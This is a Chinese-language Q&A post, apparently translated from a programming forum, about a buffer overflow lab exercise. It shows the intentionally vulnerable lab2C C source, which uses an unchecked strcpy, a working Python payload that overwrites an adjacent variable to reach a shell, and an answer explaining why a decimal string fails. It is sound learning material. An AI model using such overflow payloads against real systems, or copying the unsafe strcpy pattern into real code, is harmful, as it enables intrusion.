我最近通过使其char数组溢出到另一个变量来成功利用C可执行文件。我通过在exploit1.py的输出中输入到命令行来完成此操作,该命令行被lab2C接受为参数。这是我使用的命令:./lab2C.exe "$(python /tmp/exploit1.py)"
。最终的exploit1.py文件如下所示:
exploit1.py(最终):
def main():
print("aaabbbcccdddeee\xef\xbe\xad\xde")
main()
我读过Jon Erickson的 Hacking:The Exploical of the Exploitation ,你可以使用命令行将十六进制字节代码输入到一个文件中,所以我尝试了它并且我成功了调用shell()函数。
然而,我仍然感到困惑的一件事是,为什么0xdeadbeef的十进制版本中的管道作为参数不起作用。这是我尝试将输出输出到命令行的原始文件:
exploit1.py(原创):
def main():
print("aaabbbcccdddeee3735928559")
main()
当我这样做时,命令行返回以下内容:
Not authenticated.
set_me was 892548915
为什么这不起作用?是因为整数容器不能容纳0xdeadbeef的十进制值,因为它太大了?如果是这种情况,为什么整数接受等效的十六进制字节代码?
规格 - 架构:i686; CPU操作模式:32位,64位;内核名称:Linux;内核版本:#40~14.04.1-Ubuntu;编译器版本:Ubuntu 4.8.4-2ubuntu1~14.04
(这是lab2C供参考): lab2C:
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void shell()
{
printf("You did it.\n");
system("/bin/sh");
}
int main(int argc, char** argv)
{
if(argc != 2)
{
printf("usage:\n%s string\n", argv[0]);
return EXIT_FAILURE;
}
int set_me = 0;
char buf[15];
strcpy(buf, argv[1]);
if(set_me == 0xdeadbeef)
{
shell();
}
else
{
printf("Not authenticated.\nset_me was %d\n", set_me);
}
return EXIT_SUCCESS;
}
答案 0 :(得分:4)
0xdeadbeef
等于3735928559
,但"3735928559"
等于
>>> [hex(ord(c)) for c in "3735928559"]
['0x33', '0x37', '0x33', '0x35', '0x39', '0x32', '0x38', '0x35', '0x35', '0x39']
即"\x33\x37\x33..."
这个漏洞的处理是整数的表示被字符串的表示覆盖,而不是字符串的解析值。